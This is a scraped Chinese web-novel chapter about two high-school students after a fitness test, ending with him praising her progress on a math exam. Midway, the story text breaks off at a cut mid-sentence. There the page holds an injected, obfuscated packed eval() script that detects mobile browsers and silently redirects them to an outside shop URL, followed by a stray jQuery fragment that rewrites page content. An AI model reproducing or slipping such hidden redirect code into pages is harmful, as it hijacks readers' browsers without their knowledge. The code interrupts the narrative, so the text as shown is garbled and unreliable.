文趣网 > 其他小说 > 夕阳之上的微光 > 12. 第 12 章
    “你这又去哪儿啊?”

    陈程晃了个神,抬头时人都快走到楼梯口了。

    “医务室。”边屿慢悠走下一步阶梯。

    陈程探起脑袋问:“咋的,生病了?”

    边屿淡淡嗯了声,脚步未停,“肌无力。”

    “......”

    -

    八百米真的很反人类。

    毫无选择权的体测,与其说是体能锻炼,不如说是某种变相服从性测试。

    林暮莱喘着气冲过终点线,心脏剧烈跳动,脸上一丝血色都无,喉间有血腥味漫溢,她灌了口水,但依旧没能缓解。

    好像还更难受了。

    有同学从身旁擦过,她手一抖,被呛到,连忙放下水瓶,咳得撕心裂肺,半天都没能缓过来。

    她弯腰撑着膝盖,阖上眼,有一种被八百一拳击倒,毫无反击之力的深深无力感。

    真的,痛苦至极。

    直到几节课过去,这种不适感才慢慢消散,取而代之的是小腿一点点蔓延开的酸痛。

    晚自习下课,教室走廊上闹哄哄的。

    林暮莱正往包里塞作业本,眼睛一瞥,注意到手机屏幕忽然亮了起来。

    边屿发来三条消息:

    【老师拖堂,在教室等下我。】

    【最多不超过五分钟。】

    然后是一个萌萌兔的不准走表情包。

    林暮莱把手中的习题册一放。

    想了想,咔哒咔哒打了两字,点击发送。

    从教学楼出来,林暮莱回头看了眼,整栋楼里只有他班还亮着灯。

    回过头,路灯顺着面前小道一路亮起,昏黄光晕洒在地面,往校门口不断延伸。

    三三两两的学生从林暮莱身边走过,她踩着影光慢腾腾地往前走。

    刚走没几步,肩上的重量忽然一轻。

    下意识地回头,就见边屿站在身后。

    一手拎着她的书包带,另一手抓着自己的,拉链半开着,试卷塞了一半。

    他看上去像是一路小跑来的,额前碎发有些乱,胸膛微微起伏,靠近时带来一阵清风,拂起她耳边的发丝。

    林暮莱愣了下,有点没反应过来。

    边屿停在她身侧。

    路灯下,暖光斜洒,侧颜像是被晕出一丝柔和。

    两人一前一后地站着,但距离却拉得极近,近到她似乎隐约能闻到他身上烘来的香气,近到只要她再后倾一点,就会形成一个被他拥在怀里的姿势。

    林暮莱眨眨眼,反应过来后迅速转身朝前迈步,步伐迈得大了些,试图拉开点距离。

    边屿很快跟了上来,同她并肩,单手依旧提着她的书包带,这行为其实有点超过,但他一脸自然,丝毫没觉得有什么不妥。

    于是没走几步,林暮莱又停下了。

    边屿侧眸瞧她一眼,“怎么了?”

    林暮莱觉着被他提着书包走的姿势很怪异,甚至有点蠢。

    所以她想让他放下来。

    “还有偶像包袱呢?”

    边屿笑着打趣她,话刚落下,就看着她嘴角一点点下拉,他嘴角弧度扩得更大,在林暮莱翻他白眼前,他先一步开口:“行了,就你这龟速,等走到校门口,王叔黄花菜都凉了。”

    说着又故意把她书包掂了掂。

    “你能不能放了啊?”林暮莱拖着调,相当不情愿。

    边屿低头看着她,笑意更深,“不能。”

    他那语气是相当欠揍。

    林暮莱无语,这人真的好烦。

    看他笑得越来越欠,她突然很有想打他一顿的冲动。

    于是视线上上下下地扫他,从身高到肩宽,一路滑到脉络突起的手臂,最后下拉到逆天长腿,停住。

    冷静想了想,应该是打不过。

    弄不好可能还会被反揍,他这体型一拳看着能揍十个她,到时候要是想跑,腿又不给力,跑都跑不掉。

    ......暂时先算了吧。

    边屿完全不知道她脑内上演了这么一出,只知道她把他从上到下看了个遍,然后突然很泄气地转身往前走,头也不带回的那种。

    他轻笑一声,迈步跟上。

    ......

    上了车,林暮莱顺手从一旁拉过安全带。

    “啪嗒”一声刚扣好,腿上就被丢来个什么东西。

    她低头一看,是个长方形的小盒子,顶端的封条已经被撕开。拿起来才发现是盒药膏贴,治疗肌肉酸痛的那种。

    她的表情顿时变得有点微妙,抬眸看向边屿,就听他随口落了句:“买多了。”

    林暮莱了然,瞥了眼开封处,注意到里面少了一帖,就顺口问:“你今天跑一千了?”

    “昂。”

    林暮莱往他腿上瞥了眼,想到什么,抬手摇了摇盒子,“你也很久没运动了?”

    边屿没应,只是意味深长地看了她一眼。

    林暮莱没注意到。

    想到八百结束后那种肺腑俱裂的痛苦,她衷心感叹了句:“还是得多运动啊。”

    边屿抬眉,不置可否,他慢悠悠靠向椅背,撑着下巴瞧她,“那以后补完数学课,我俩一起去楼下健身房?”

    林暮莱表情立马一收,皱眉婉拒道:“我就不了吧,补完课都很迟了。”

    边屿看着她垮掉的小表情,唇角一勾,不容置喙地做了决定,“那行,咱俩以后就做个伴,互相监督。”

    林暮莱:“......”这人是不是听不懂人话。

    她算是发现了,她在边屿这很难占到上风。

    有时候占不到也就算了,还总吃亏。

    边屿接着话题和她聊,不过基本都是他单方面输出。

    一会儿问她跑步游泳喜欢哪个,一会儿又说要买什么配置的运动装,林暮莱摇头晃脑装听不见,眼睛斜看向车窗外,在听又不在听的模样。

    车窗外光影浮动,行道树和路灯被拉出幻影,像风吹散的墨线,笔笔拖长。

    林暮莱看着看着,就有些走神。

    边屿的话音还在耳边,隐隐约约听到他提到什么补课、什么数学题,她忽然就想到下午发的那张数学试卷。

    思绪顺着试卷一路往前追溯,最后停在了很久以前。

    她想到了妈妈。

    初二那年期末考,她发着高烧考完最后两门主科。

    成绩出来后,果不其然得到了妈妈一句冷冰冰的,“知识都在脑子里,发烧了就写不出来?”。

    在妈妈这儿,无论多努力,即便从早学到晚,只要成绩不入眼,妈妈依旧会觉得她在偷懒,对学习不上心、不够认真。

    好像无论怎么做,在妈妈眼里,她永远是个“不够”的孩子。

    不够聪明,不够刻苦,不够让人满意。

    一开始是很费解,也会觉得不甘。

    可随着时间推移,她尝试和自己和解,单方面和妈妈和解。

    亲情里,那些得不到的东西,她不再期待。

    没有就没有吧,没有也不会怎么样的。

    只是偶尔,负面反馈积压到一定程度,也会小小的崩盘。

    最近的一次,大概就是搬来边屿家那天。

    记忆里的那天,是挺难过的。

    可不知道为什么,现在回想起来,却觉得,当初的那份难过好像被什么东西取代了。

    是那天的烟花,还是后来的补课。

    她好像,记不清了。

    ......

    “试卷拿来我看。”

    指节轻叩

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17767404|209765||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    桌面,发出两声清脆嗑响。

    林暮莱的目光顺着响动缓缓挪向一旁。

    书桌前,边屿低垂着颈,正写着题。

    顶光在他睫羽投下一片阴影,手中的笔在纸面滑走,声音沙沙,发散着某种令人安静的专注。

    “叩—叩—”

    又是两声。

    这次比前一次更重。

    边屿抬眸,目光探过去。

    林暮莱好像回不过神来,眼神看着他,目光的焦点却似落非落。

    “今天怎么老发呆?”

    边屿说着拿笔很轻地碰了一下她的额头。

    林暮莱瞬间醒神,下意识捂住额头,反应很大:“干嘛打人。”

    “我那是打人吗?”

    边屿一脸好笑地看着她,“我这最多就是碰了一下。”

    他把笔搁上桌面,抱臂倚回靠背,“怎么还碰瓷呢?”

    林暮莱看不惯他这副欠欠的样子,刚想怼回去,却垂眸注意到他的动作。

    他伸手过来,从她面前抽走了那张数学试卷。

    她顿时收声,坐姿一正,神情紧绷起来。

    边屿拿起试卷,目光一行行地扫,没有任何表情也没说一句话,那种沉默里自带的压迫感,有点灼人。

    林暮莱没来由得心慌,拇指指尖无意识扣着食指侧边,指节抵在唇边不断摩挲,视线一次次朝边屿看去。

    明明只是检查试卷,却让她生出一种等待审判的错觉。

    她一边偷瞄一边给自己做心理建设,边屿总不能超越她妈吧,妈妈不能顶,边屿她还——

    “进步了。”

    他忽然出声,嗓音低低的,带点磁。

    屋子里霎时安静下来。

    林暮莱倏地睁大眼,以为自己听错。

    没搞错吧?边屿夸她?

    不是“这题都不会”、不是“你到底有没有在学”、也不是“还得再加把劲”,而是——

    “进步了?”她迟疑地出声。

    边屿“嗯”了声,视线依旧停在卷子上,“最后一题虽然没全写出来,但动笔了,而且对了大半。”

    “就已经是很大的进步。”

    他的语气很淡,像是在说什么很稀疏平常的事。

    “没有了?”

    林暮莱不可置信地看着他,胸口微微起伏。

    边屿这才抬眸看她。

    两人目光对上的一瞬,林暮莱下意识想避开,却忍住了。

    边屿盯着她,在她脸上打量了很久,琥珀色的瞳孔倒映着房顶的冷光,看着依旧是一副漠然克制的模样。

    但说出的话,却出乎意料的柔和,“你做的很好。”

    林暮莱呼吸一窒,指甲深嵌进掌心。

    “还有呢?”她回的很快,声音带了点急。

    批评呢?指责呢?还不说吗?

    边屿看着她,眼神一点点柔下来,用能够抚平一切的温柔嗓音缓沉开口。

    “也真的很努力。”

    他放下试卷,格外真挚地看她。

    “辛苦了。”很轻地落下一句。

    ——轰然一声巨响。

    像是大厦将倾,

    又像是废墟重建,

    林暮莱的呼吸一瞬间变得凌乱,情绪像潮水般涌来。

    忽然有点想哭,但她忍住了。

    面前的人依旧用那样的眼神看着她。

    诚挚的、热忱的,甚至带着冀望。

    林暮莱紧住拳,眼睫轻颤。

    心底仿佛有什么东西,在此刻,不可遏制地疯长起来。

    边屿说完就低头继续写题,像是无事发生。

    林暮莱却偷偷把脸转向另一边。

    半晌。

    她小声说了句:“谢谢。”